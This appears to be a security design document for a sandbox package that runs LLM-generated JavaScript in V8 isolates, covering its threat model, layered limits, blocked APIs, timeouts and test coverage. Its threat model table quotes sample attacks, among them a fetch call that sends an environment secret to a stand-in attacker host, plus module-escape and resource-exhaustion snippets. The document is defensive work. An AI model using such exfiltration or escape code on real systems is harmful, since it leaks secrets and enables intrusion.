# Sandbox Security

The `@coda/sandbox` package runs LLM-generated JavaScript inside V8 isolates managed by [isolated-vm](https://github.com/laverdet/isolated-vm). This document describes the threat model, the layered defense strategy, what user code cannot access, and the known limitations of the current implementation.

---

## Threat Model

**What must be protected:**

- The Node.js host process and its environment
- Other concurrent sandbox executions
- External services (databases, APIs) from runaway request amplification
- Host memory from being exhausted
- System resources (CPU, file descriptors) from being monopolized

**Attacker profile:**

The primary adversary is malicious or buggy LLM output. Specific attack patterns we defend against:

| Attack                      | Example                                                         |
| --------------------------- | --------------------------------------------------------------- |
| Network exfiltration        | `await fetch('https://attacker.com?d=' + process.env.SECRET)`   |
| Host process access         | `process.env`, `process.exit()`, `process.mainModule`           |
| Module escape               | `require('fs')`, `import('child_process')`                      |
| Function constructor escape | `new Function('return process')()`                              |
| Synchronous CPU exhaustion  | `while(true) {}`                                                |
| Async CPU/time exhaustion   | `while(true) { await Promise.resolve(); }`                      |
| Memory exhaustion           | `const a = []; while(true) { a.push(new Array(1_000_000)); }`   |
| Request amplification       | Calling `dataProxy.request` in a loop thousands of times        |
| Result flooding             | `return 'x'.repeat(100 * 1024 * 1024)`                          |
| Console spam                | `for(let i=0;i<1e9;i++) console.log(i)`                         |
| Code inflation              | Submitting megabytes of source code to inflate compilation time |

---

## The 5-Tier Defense-in-Depth Model

No single control is sufficient. Each tier catches attack vectors that the tiers below it cannot.

### Tier 1 — Isolate Limits (enforced by V8 / isolated-vm)

These limits are enforced by the V8 engine itself and cannot be bypassed by user code.

**`memoryMb: 256`**

Sets the V8 heap size cap via `new ivm.Isolate({ memoryLimit: memoryMb })`. When the isolate attempts to allocate beyond this limit, V8 triggers an out-of-memory kill. The error surfaces as a `SandboxOOMError` (`code: OOM`). This is a hard, enforced ceiling — not a soft advisory.

**`timeoutMs: 30_000`**

Applied at two levels (see the Dual Timeout Strategy section). The V8 built-in timeout is passed as `script.run({ timeout: timeoutMs })`. An external `setTimeout` also disposes the isolate after the same wall-clock interval. The dual approach is required because V8's built-in timeout only catches synchronous CPU loops.

**`maxCodeBytes: 524_288` (512 KB)**

Checked before compilation via `Buffer.byteLength(code, 'utf-8') > limits.maxCodeBytes`. Code exceeding this limit is rejected immediately with `SandboxValidationError` (`code: VALIDATION`), before any V8 work is done. This prevents "code inflation" attacks where an attacker submits gigabytes of source to inflate compilation time or memory usage.

### Tier 2 — Bridge Limits (enforced in engine.ts)

These limits are enforced in the `execute()` closure inside `SandboxEngine`. They govern the communication channel between the isolate and the host.

**`maxDataRequests: 20`**

Tracked via a `dataRequestCount` counter incremented on every `dataProxy.request()` call from user code. Once the limit is reached, further calls throw an error inside the isolate, terminating execution. This prevents request amplification attacks where a single execution attempts thousands of tool calls.

**`maxDataBytes: 50 MB`** (52,428,800 bytes)

Tracks cumulative bytes received from the host across all data responses (`dataBytesReceived += JSON.stringify(result).length`). Prevents memory flooding by limiting how much data the host can return to a single execution in total. Enforced after each individual response is received.

**`maxResultBytes: 5 MB`** (5,242,880 bytes)

Checked against `JSON.stringify(result.payload).length` after execution completes but before the result is emitted. Prevents a runaway computation from returning a multi-gigabyte string that would exhaust host memory during serialization. Triggers a `VALIDATION` error event rather than a thrown exception.

**`maxStatusEvents: 1000`**

Tracked via a `statusCount` counter incremented in the `onStatus` callback. Events beyond the cap are silently dropped. This is a secondary cap; the `ContextBuilder` also enforces an independent `CONSOLE_CAP = 1000` on console calls (see the ivm Reference Security section).

### Tier 3 — Conversation Turn Budget (future / external to sandbox)

Per-conversation execution budget: limits the total number of sandbox executions within a single conversation turn. This tier is not yet implemented inside the sandbox package itself — it lives in the agent layer. It prevents a conversation from triggering unlimited sequential sandbox calls.

### Tier 4 — Per-User Redis Rate Limiting (future / external to sandbox)

Redis-backed rate limiting per user across sessions. Prevents a single user from hammering the sandbox across multiple concurrent conversations. Not yet in the sandbox package; lives in the agent/API layer.

### Tier 5 — System: `maxConcurrentIsolates`

`IsolateManager.acquire()` checks `this.active.size >= this.config.maxConcurrent` before creating or dequeuing an isolate. If the ceiling is reached, it throws immediately:

```
IsolateManager at capacity (N)
```

This prevents a DDOS attack via rapid parallel `submit()` calls that would otherwise create unbounded numbers of V8 isolates, exhausting process memory before any individual isolate's memory limit applies.

---

## What User Code Cannot Access

The V8 isolate created by `isolated-vm` starts with an empty context. Nothing is available unless explicitly injected by the host. The following are confirmed unavailable:

| API                         | Why                                                                                                                                                                        |
| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `fetch`                     | Web API — not present in V8 isolate context. `typeof fetch === 'undefined'`.                                                                                               |
| `process`                   | Node.js global — not injected. `typeof process === 'undefined'`.                                                                                                           |
| `require`                   | CommonJS runtime — not available in isolate. `typeof require === 'undefined'`.                                                                                             |
| `import()`                  | Dynamic import is disabled in isolated-vm.                                                                                                                                 |
| `fs`, `os`, `crypto`        | No Node.js built-ins available.                                                                                                                                            |
| Function constructor escape | The `Function` constructor exists but evaluates in the isolate's own context. `process` is not defined there, so it returns `undefined`. This does not escape the isolate. |
| `eval(...)`                 | Available, but evaluates within the isolate. No host access.                                                                                                               |
| Host memory                 | V8 isolates use fully separate heaps. User code cannot read or write host process memory.                                                                                  |
| Other isolates              | There are no shared globals between concurrent isolate executions. Each isolate gets its own fresh context.                                                                |

Only the following globals are injected by `ContextBuilder`:

- `dataProxy` — the data request bridge
- `reportStatus` — the status event bridge
- `console` (`.log`, `.warn`, `.error`) — captured as status events
- Any WASM module bindings configured in `SandboxEngineConfig.wasmModules`

---

## Ephemeral Isolates

Every isolate is disposed after use. This is enforced in `IsolateManager.release()`, which is called in the `finally` block of `SandboxEngine.execute()`, guaranteeing disposal even when execution throws.

Consequences:

- **No state leaks between executions.** Even if user code sets a global variable, that variable disappears when the isolate is disposed. The next execution gets a pristine context.
- **Pool isolates are pre-created but never reused after first use.** Pool handles are popped from the pool and then disposed after the execution finishes. They are not returned to the pool.

---

## The Dual Timeout Strategy

### The Problem

`isolated-vm`'s built-in `script.run({ timeout })` only interrupts **synchronous** V8 execution. Consider:

```javascript
// Caught by V8's built-in timeout:
while (true) {}

// NOT caught by V8's built-in timeout:
while (true) {
  await Promise.resolve();
}
```

In the async case, control returns to the event loop at every `await`. The V8 timeout fires between microtask ticks — after the current synchronous slice finishes — but by then the code has already yielded. The loop runs indefinitely.

### The Solution: Two Racing Timers

`CodeExecutor.run()` races two promises:

- **V8 built-in timeout** (`script.run({ timeout: timeoutMs })`): Catches tight synchronous CPU loops. When triggered, ivm throws `"Script execution timed out"`, which `CodeExecutor` maps to `SandboxTimeoutError`.

- **External `setTimeout`**: Disposes the isolate after the wall-clock timeout elapses. Catches async hangs, hanging `await dataProxy.request(...)`, etc. When triggered: disposes the isolate and rejects with `SandboxTimeoutError`, which wins the `Promise.race`.

Both timers use the same `timeoutMs` value. The external timer is cleared via `clearTimeout` if the execution completes or errors before it fires.

---

## ivm Reference Security

`ContextBuilder` injects host functions into the isolate using `ivm.Reference`. This is the only channel through which isolate code can communicate with the host. Key security properties:

**Explicit, narrow surface area.** Only three host functions are injectable: `__dataRequestFn`, `__reportStatusFn`, and the console functions (`__consoleLogFn`, `__consoleWarnFn`, `__consoleErrorFn`). Nothing else crosses the boundary.

**JSON string serialization at the boundary.** User code cannot pass live JavaScript objects to the host. `dataProxy.request()` JSON-serializes `params` before calling `__dataRequestFn.apply(...)`, and the host JSON-serializes the response before returning. Only JSON-compatible values can cross — no function references, no prototype chains, no host object handles.

**Bridge limit enforcement inside the reference callbacks.** `onDataRequest` increments `dataRequestCount` and checks `maxDataRequests` and cumulative `maxDataBytes` before returning data to the isolate. `onStatus` checks `maxStatusEvents` and drops silently above the cap.

**Console cap enforced independently in ContextBuilder.** A separate `consoleCallCount` counter with `CONSOLE_CAP = 1000` guards the console refs. This is independent of `maxStatusEvents`, providing a secondary cap on console flooding even if the bridge limit is set to a high value.

---

## Known Limitations and Mitigations

### Time-of-check vs Time-of-use on Bridge Limits

Bridge limits (`dataRequestCount`, `dataBytesReceived`, `statusCount`) are tracked as local counters in the `execute()` closure. They are not atomic. However, because each sandbox execution is a single async task with `await` at the bridge boundary, these counters are effectively single-threaded per execution. Concurrent executions have independent counters and cannot interfere with each other's limits.

### Pool Isolate Memory Limits

The warm pool creates isolates using `defaultIsolateLimits.memoryMb`. When a pool isolate is acquired, its memory limit reflects the defaults, regardless of what the individual request specifies. If a request specifies a lower `memoryMb`, the pool isolate technically has a higher ceiling than requested. This is a known design tradeoff: the pool is used opportunistically (always popped if non-empty). In practice this is not a security concern because the V8 heap cap is still enforced — pool isolates are simply initialized with the engine's default limit. There is no security risk.

### WASM Bindings Run in Isolate Context

WASM binding JavaScript (the `jsBindingPath` file) is compiled and run inside the isolate context. If a binding file has a bug — such as an unexpected reference to a global — it could interfere with user code. Mitigation: vet all WASM binding files before loading them into `wasmModules`. Treat binding files as trusted code, similar to the bootstrap script.

### No Network Isolation Beyond Absent Web APIs

The sandbox prevents network access by not injecting `fetch` or any network API into the isolate context. However, there is no syscall-level network namespacing (no Linux network namespace, no `seccomp` filter). If a future WASM module were to expose a network primitive through its bindings, that would bypass this control. Mitigation: vet WASM modules carefully; do not load WASM that exposes network calls.

### No Disk/File Isolation

User code cannot call `fs` because Node built-ins are not injected. However, the host process itself can. WASM binaries are loaded from disk at engine startup and passed into the isolate as read-only `ArrayBuffer` data — user code cannot request arbitrary file reads. The file isolation is implicit, not enforced by a file system namespace.

### Single-Process Model

All isolates run within the same Node.js process. A V8 engine crash (extremely rare with isolated-vm) would bring down the host. Future mitigation: run each isolate in a separate `worker_thread` so a V8 crash is contained to the worker. This is not currently implemented.

---

## Security Test Coverage

The integration tests in `sandbox/src/__tests__/integration/security.test.ts` verify the following:

| Test                        | Attack Vector                                        | Expected Outcome                                                             |
| --------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------------------- |
| Infinite loop               | `while(true) {}`                                     | `error` event with `code: TIMEOUT`                                           |
| Isolate crash recovery      | Crashing execution followed by fresh execution       | Engine continues serving requests normally                                   |
| Memory bomb                 | Allocating large arrays in a loop with `memoryMb: 8` | `error` event with `code: OOM` or `TIMEOUT`                                  |
| `fetch` not available       | `return typeof fetch`                                | Result payload is `'undefined'`                                              |
| `process` not available     | `return typeof process`                              | Result payload is `'undefined'`                                              |
| `require` not available     | `return typeof require`                              | Result payload is `'undefined'`                                              |
| Function constructor escape | `new Function('return typeof process')()`            | Result payload is `'undefined'` — process is not in scope inside the isolate |
| Oversized code              | 600,000-byte string (exceeds 512 KB default)         | `error` event with `code: VALIDATION`                                        |
| `maxResultBytes` exceeded   | Returning a 10 MB string against a 5 MB limit        | `error` event with `code: VALIDATION`                                        |
| `maxStatusEvents` cap       | 1,500 `reportStatus` calls with limit 100            | At most 100 `status` events; execution completes with a `result`             |
| Console cap                 | 2,000 `console.log` calls                            | At most 1,000 `status` events; no crash; `result` emitted                    |
